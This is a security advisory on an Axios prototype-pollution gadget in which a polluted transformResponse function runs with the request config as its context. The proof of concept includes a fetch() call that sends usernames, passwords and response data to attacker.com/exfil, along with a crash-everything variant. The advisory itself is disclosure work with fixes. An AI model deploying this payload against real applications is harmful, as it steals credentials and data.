Advisory

GHSA-3g43-6gmg-66jw

Details, part 2 of 2. The advisory

Details

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.

The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype.transformResponse = function(data, headers, status) {
  // Steal credentials via this context (this = full request config)
  if (this && this.url && typeof data === 'string') {
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: JSON.stringify({
        url: this.url,
        username: this.auth?.username,
        password: this.auth?.password,
        responseData: data,
      })
    });
  }
  return true;  // MUST return true to pass assertOptions validator check
};

Important constraint: The polluted value must be a function returning `true`, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
  auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});

3. The Execution

Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:

utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
  // 'transformResponse' is in config1 (defaults) → included in keys
  const merge = mergeMap[prop];  // → defaultToConfig2
  const configValue = merge(config1[prop], config2[prop], prop);
  // config2['transformResponse'] traverses prototype → finds polluted function!
});

The polluted function then executes at transformData.js:21:

data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)

4. The Impact

Attacker receives at https://attacker.com/exfil:

{
  "url": "https://api.internal/users",
  "username": "svc-account",
  "password": "prod-secret-key-123!",
  "responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}

The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.

5. DoS Variant

// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];

await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes

Verified PoC Output

Step 1 - Normal behavior (before pollution):  
    Default transformResponse function name: "transformResponse"

Step 2 - Polluting Object.prototype.transformResponse:  
    Function replaced by attacker: true

Step 3 - Simulating dispatchRequest transformResponse:  
    Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}  
    After malicious transform: true  
    Response tampered: true

Step 4 - Exfiltrated data:  
    Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}  
    Request URL: https://internal-api.corp/secrets  
    Authentication info: {"username":"admin","password":"P@ssw0rd123!"}

Impact Analysis

  • Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.
  • Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced.
  • Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios.
  • Denial of Service: Polluting with a non-function value crashes every request.
  • Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.

Limitations (Honest Assessment)

  • Requires a separate prototype pollution vulnerability elsewhere in the dependency tree
  • Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions
  • This is in-process JavaScript function execution, not OS-level RCE

Recommended Fix

Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:

// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
    return getMergedValue(undefined, b);
  } else if (!utils.isUndefined(a)) {
    return getMergedValue(undefined, a);
  }
}

Additionally, validate that transformResponse contains only functions before execution:

// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
  if (typeof fn !== 'function') {
    throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
  }
  data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});

Resources

Timeline

| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) |
| 2026-04-16 | PoC corrected (function payload returning true — works) |
| 2026-04-16 | Report revised with accurate constraints |
| TBD | Report submitted to vendor via GitHub Security Advisory |
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Sources & licences